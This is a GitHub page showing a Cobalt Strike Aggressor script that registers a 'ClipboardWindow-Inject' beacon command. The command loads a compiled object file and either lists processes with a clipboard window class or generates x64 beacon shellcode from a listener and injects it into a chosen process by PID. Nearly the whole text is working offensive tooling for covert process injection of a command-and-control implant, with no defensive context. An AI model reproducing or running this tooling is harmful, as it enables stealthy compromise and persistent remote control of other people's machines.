-
Notifications
You must be signed in to change notification settings - Fork 12
/
ClipboardWindow-Inject.cna
39 lines (33 loc) · 1.27 KB
/
ClipboardWindow-Inject.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
beacon_command_register(
"ClipboardWindow-Inject",
"CLIPBRDWNDCLASS injection technique - set prop to an IUnknown interface address,and post a message to trigger the callback function",
"Synopsis: 1.ClipboardWindow-Inject list (list processes with clipboard window class)
2.ClipboardWindow-Inject <pid> <listener> (inject beacon shellcode into target process)"
);
alias ClipboardWindow-Inject{
local('$bid $listener $pid $payload');
($bid,$opcode,$listener) = @_;
$handle = openf(script_resource("ClipboardWindow-Inject.x64.o"));
$data = readb($handle,-1);
closef($handle);
if (size(@_) == 2 && "list" eq $opcode){
btask($1,"tasked beacon to list processes with clipboard window class");
$args = bof_pack($bid, "i", 0);
beacon_inline_execute($1,$data,"go",$args);
}
else if (size(@_) == 3){
$payload = payload_local($bid, $listener, "x64", "thread");
if($payload eq $null){
berror($bid, "Failed to generate beacon payload, check the listener");
return;
}
$args = bof_pack($bid, "ib", $opcode, $payload);
btask($1,"tasked beacon to inject into target process, pid: $opcode");
beacon_inline_execute($1,$data,"go",$args);
}
else
{
berror($bid, "Usage:1.ClipboardWindow-Inject list\n 2.ClipboardWindow-Inject <pid> <listener>");
return;
}
}